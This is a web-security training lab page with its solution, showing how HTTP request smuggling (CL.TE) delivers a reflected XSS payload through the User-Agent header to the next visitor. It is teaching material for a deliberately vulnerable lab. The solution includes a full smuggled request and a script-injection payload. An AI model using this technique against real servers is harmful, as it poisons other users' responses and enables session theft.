Lab: Exploiting HTTP request smuggling to deliver reflected XSS

PRACTITIONER

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

The application is also vulnerable to reflected XSS via the User-Agent header.

To solve the lab, smuggle a request to the back-end server that causes the next user's request to receive a response containing an XSS exploit that executes alert(1).

Note

The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Access the lab

Solution

Visit a blog post, and send the request to Burp Repeater.
Observe that the comment form contains your User-Agent header in a hidden input.
Inject an XSS payload into the User-Agent header and observe that it gets reflected:
"/><script>alert(1)</script>
Smuggle this XSS request to the back-end server, so that it exploits the next visitor:
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 150 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: a"/><script>alert(1)</script> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1

Note

Note that the target user only browses the website intermittently so you may need to repeat this attack a few times before it's successful.

Community solutions

Michael Sommer

Want to track your progress and have a more personalized learning experience? (It's free!)

In this topic

The benefits of working through PortSwigger's Web Security Academy

Practise exploiting vulnerabilities on realistic targets.
Record your progression from Apprentice to Expert.
See where you rank in our Hall of Fame.

Already got an account? Login here

Lab: Exploiting HTTP request smuggling to deliver reflected XSS

Note

Tip

Solution

Note

Community solutions

Michael Sommer

In this topic

All topics

Find request smuggling vulnerabilities using Burp Suite

Register for free to track your learning progress